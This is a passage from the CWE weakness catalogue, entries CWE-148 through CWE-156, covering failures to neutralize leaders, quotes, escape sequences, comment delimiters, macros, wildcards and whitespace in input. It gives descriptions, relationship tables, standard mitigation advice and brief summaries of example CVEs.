Software Fault Patterns	SFP24		Tainted input to command

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
460	HTTP Parameter Pollution (HPP)

CWE-148: Improper Neutralization of Input Leaders

Weakness ID : 148 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The application does not properly handle when a leading character or sequence ("leader") is missing or malformed, or if multiple leaders are used when only one should be allowed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	138	Improper Neutralization of Special Elements	342

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Potential Mitigations

Developers should anticipate that leading characters will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the

full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Input Leader
Software Fault Patterns	SFP24		Tainted input to command

CWE-149: Improper Neutralization of Quoting Syntax

Weakness ID : 149 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

Quotes injected into an application can be used to compromise a system. As data are parsed, an injected/absent/duplicate/malformed use of quotes may cause the process to take unexpected actions.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	138	Improper Neutralization of Special Elements	342

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Potential Mitigations

Developers should anticipate that quotes will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2004-0956	Database allows remote attackers to cause a denial of service (application crash) via a MATCH AGAINST query with an opening double quote but no closing double quote. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0956*
CVE-2003-1016	MIE. MFV too? bypass AV/security with fields that should not be quoted, duplicate quotes, missing leading/trailing quotes. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1016*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Quoting Element
Software Fault Patterns	SFP24		Tainted input to command

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
468	Generic Cross-Browser Cross-Domain Theft

CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences

Weakness ID : 150 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as escape, meta, or control character sequences when they are sent to a downstream component.

Extended Description

As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	138	Improper Neutralization of Special Elements	342

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	1972

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Potential Mitigations

Developers should anticipate that escape, meta and control characters/sequences will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2002-0542	The mail program processes special "~" escape sequence even when not in interactive mode. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0542*
CVE-2000-0703	Setuid program does not filter escape sequences before calling mail program. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0703*
CVE-2002-0986	Mail function does not filter control characters from arguments, allowing mail message content to be modified. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0986*
CVE-2003-0020	Multi-channel issue. Terminal escape sequences not filtered from log files. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0020*
CVE-2003-0083	Multi-channel issue. Terminal escape sequences not filtered from log files. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0083*
CVE-2003-0021	Terminal escape sequences not filtered by terminals when displaying files. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0021*
CVE-2003-0022	Terminal escape sequences not filtered by terminals when displaying files.

Reference	Description
	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0022
CVE-2003-0023	Terminal escape sequences not filtered by terminals when displaying files. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0023*
CVE-2003-0063	Terminal escape sequences not filtered by terminals when displaying files. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0063*
CVE-2000-0476	Terminal escape sequences not filtered by terminals when displaying files. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0476*
CVE-2001-1556	MFV. (multi-channel). Injection of control characters into log files that allow information hiding when using raw Unix programs to read the files. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1556*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	845	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS)	844	1902
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953
MemberOf	C	1134	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 00. Input Validation and Data Sanitization (IDS)	1133	1983

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Escape, Meta, or Control Character / Sequence
The CERT Oracle Secure Coding Standard for Java (2011)	IDS03-J		Do not log unsanitized user input
Software Fault Patterns	SFP24		Tainted input to command

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
41	Using Meta-characters in E-mail Headers to Inject Malicious Payloads
81	Web Logs Tampering
93	Log Injection-Tampering-Forging
134	Email Injection

CWE-151: Improper Neutralization of Comment Delimiters

Weakness ID : 151 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as comment delimiters when they are sent to a downstream component.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		138	Improper Neutralization of Special Elements	342

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Potential Mitigations

Developers should anticipate that comments will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2002-0001	Mail client command execution due to improperly terminated comment in address list. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0001*
CVE-2004-0162	MIE. RFC822 comment fields may be processed as other fields by clients. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0162*
CVE-2004-1686	Well-placed comment bypasses security warning. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1686*
CVE-2005-1909	Information hiding using a manipulation involving injection of comment code into product. Note: these vulnerabilities are likely vulnerable to more general XSS problems, although a regexp might allow ">!--" while denying most other tags. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1909*
CVE-2005-1969	Information hiding using a manipulation involving injection of comment code into product. Note: these vulnerabilities are likely vulnerable to more general XSS problems, although a regexp might allow "<!--" while denying most other tags. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1969*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Comment Element
Software Fault Patterns	SFP24		Tainted input to command

CWE-152: Improper Neutralization of Macro Symbols

Weakness ID : 152 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as macro symbols when they are sent to a downstream component.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	138	Improper Neutralization of Special Elements	342

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Developers should anticipate that macro symbols will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2002-0770	Server trusts client to expand macros, allows macro characters to be expanded to trigger resultant information exposure. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0770*
CVE-2008-2018	Attacker can obtain sensitive information from a database by using a comment containing a macro, which inserts the data during expansion. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2018*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Notes

Research Gap

Under-studied.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Macro Symbol
Software Fault Patterns	SFP24		Tainted input to command

CWE-153: Improper Neutralization of Substitution Characters

Weakness ID : 153 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as substitution characters when they are sent to a downstream component.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	138	Improper Neutralization of Special Elements	342

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Potential Mitigations

Developers should anticipate that substitution characters will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not

strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2002-0770	Server trusts client to expand macros, allows macro characters to be expanded to trigger resultant information exposure. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0770*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Notes

Research Gap

Under-studied.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Substitution Character
Software Fault Patterns	SFP24		Tainted input to command

CWE-154: Improper Neutralization of Variable Name Delimiters

Weakness ID : 154 **Status:** Incomplete

Structure : Simple
Abstraction : Variant

Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as variable name delimiters when they are sent to a downstream component.

Extended Description

As data is parsed, an injected delimiter may cause the process to take unexpected actions that result in an attack. Example: "$" for an environment variable.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	138	Improper Neutralization of Special Elements	342

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Potential Mitigations

Developers should anticipate that variable name delimiters will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not

alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2005-0129	"%" variable is expanded by wildcard function into disallowed commands. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0129*
CVE-2002-0770	Server trusts client to expand macros, allows macro characters to be expanded to trigger resultant information exposure. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0770*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Notes

Research Gap

Under-studied.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Variable Name Delimiter
Software Fault Patterns	SFP24		Tainted input to command

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
15	Command Delimiters

CWE-155: Improper Neutralization of Wildcards or Matching Symbols

Weakness ID : 155 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as wildcards or matching symbols when they are sent to a downstream component.

Extended Description

As data is parsed, an injected element may cause the process to take unexpected actions.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	138	Improper Neutralization of Special Elements	342
ParentOf	V	56	Path Equivalence: 'filedir*' (Wildcard)	102

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Potential Mitigations

Developers should anticipate that wildcard or matching elements will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2002-0433	Bypass file restrictions using wildcard character. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0433*
CVE-2002-1010	Bypass file restrictions using wildcard character. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1010*
CVE-2001-0334	Wildcards generate long string on expansion. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0334*
CVE-2004-1962	SQL injection involving "/**/" sequences. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1962*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Notes

Research Gap

Under-studied.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Wildcard or Matching Element
Software Fault Patterns	SFP24		Tainted input to command

CWE-156: Improper Neutralization of Whitespace

Weakness ID : 156 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as whitespace when they are sent to a downstream component.

Extended Description

This can include space, tab, etc.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	138	Improper Neutralization of Special Elements	342

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Alternate Terms

White space :

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Potential Mitigations

Developers should anticipate that whitespace will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2002-0637	MIE. virus protection bypass with RFC violations involving extra whitespace, or missing whitespace. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0637*
